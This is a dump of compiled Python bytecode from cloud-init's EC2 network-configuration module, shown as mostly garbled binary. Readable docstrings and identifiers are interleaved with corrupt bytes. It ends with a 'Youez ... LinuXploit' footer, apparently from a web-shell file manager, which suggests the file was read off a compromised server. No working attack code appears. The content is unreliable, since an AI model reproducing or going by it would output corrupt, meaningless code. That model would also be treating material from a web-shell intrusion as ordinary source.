   (IPv4/IPv6).

@return A dict of network config version 2 based on the metadata and macs.
�version�	ethernetsr�r��dhcp4T�dhcp6F�match�
macaddresszset-namer�zroute-metriczdhcp4-overridesr�z
use-routes)rFr�r�r�r�zdhcp6-overrides�	addressesNr�r�)r�get_interfaces_by_macr�r�r~r��network_rendererr�Rendererr�rxr�r��get_secondary_addresses�poprv)�
network_mdrFr�rrr�netcfgr�r�r�r�r��
is_netplanr�r��nic_idx�is_primary_nic�
dhcp_overrider�s&&&&&&             r0rr)s���6��K��
,�F���0�0�2���|�,�V�4�M��)�/�/�1�M�C��'��2�
�T��U��l�C�I�I�K�0���	
�
�%�(�(��-�����G�$�$�"&�J�w��(2�{��H�%��
��F�3�3�W�5E�5E�F�J� ��%7��I��,�#�#�%�&�D����$��$�(�(��-�����.�� �A���'�'�A�+��)<�=�
��T��}��U��l�C�I�I�K�0���
�
��g�
���� � ��1�1�"�*.�M�,�'�%���!�)���

����G�$�$�"&�J�w��,9�J�(�)�� �$�$�_�5�5�&�)��!�%�!-�!��
�#:�,�"L�
�;���+�&�&��N�N�;�'�(2�{��H�%�w�|�6�+���1�$��{�+�0�0�2�H��;���)�-�-�.?�@��;���)�-�-�.?��F��;���)�-�-�h��=��;���)�-�-�.>��E�	3�
�Mr/c	��VPR4pVPR4p.p\\V\4;'d\	V4^8�4'dVP\
VRWR44\\V\4;'d\	V4^8�4'dVP\
VRWR44\V4#)z�Parse interface-specific nic metadata and return any secondary IPs

:return: List of secondary IPv4 or IPv6 addresses to configure on the
interface
r�r�r��24zsubnet-ipv6-cidr-block�128)r~r�r�r�rv�extend�_get_secondary_addressesrx)r�r��ipv4sr�r�s&&   r0r�r��s���
���]�+�E����W�%�E��I��J�u�d�#�6�6��E�
�Q��7�7����$��6��D�
�	
�
�J�u�d�#�6�6��E�
�Q��7�7����$��6��E�
�	
�
�)��r/c�\�.pVPV4pTpV'd \VPR44^8wd'RV9dRMRp\P	RVVVVV4MVPR4^,pVR,F$p	VPRP
W�R74K&	V#)z�Return list of IP addresses as CIDRs for secondary IPs

The CIDR prefix will be default_prefix if cidr_key is absent or not
parseable in nic_metadata.
r�rbrczJCould not parse %s %s for mac %s. %s network config prefix defaults to /%s:r�NNz
{ip}/{prefix})r��prefix)r~rv�splitror�r�rO)
r��cidr_keyr�r��default_prefixr��cidrr��ip_typer�s
&&&&&     r0r�r��s����I����H�%�D�
�F��3�t�z�z�#��'�1�,�"�h�.�&�F�����
-������	
����C���#���"�g�g������/�/�2�/�E�F���r/c�8�\P!V\4#r=)r	�list_from_depends�datasources)�dependss&r0�get_datasource_listr��s���$�$�W�k�:�:r/)�
datasourcer;�	strict_id)Hr!�loggingr�r�rx�
contextlibr�typingrrr�	cloudinitrrr	r
r�rr�cloudinit.distrosr
�cloudinit.eventrr�
cloudinit.netrr�cloudinit.net.dhcpr�cloudinit.net.ephemeralr�cloudinit.sourcesrr�cloudinit.sources.helpersr�	getLoggerr"rormrnrr6r&r�rUr��
DataSourcer:rcrkrjrr~r�r�r�r�r�rZr�ryrBr�r�rr�r��DEP_FILESYSTEM�DEP_NETWORKr�r�r!r/r0�<module>rs_����	����&�&�'�'�)�$�$�1�0�/�6�<�)�
����!��3����(�(� H�
%/�N�N�#3� ����%�.��F
?�G�&�&�F
?�R:��:�.��B
E�
� $�
!�
 �
#�
#��.�@

�&$,�<�<�@�FR
�p����|�|�
y�x�2�<�'�0�0�2�3��W�+�+�W�-@�-@�A�B���;r/

Youez - 2016 - github.com/yon3zu
LinuXploit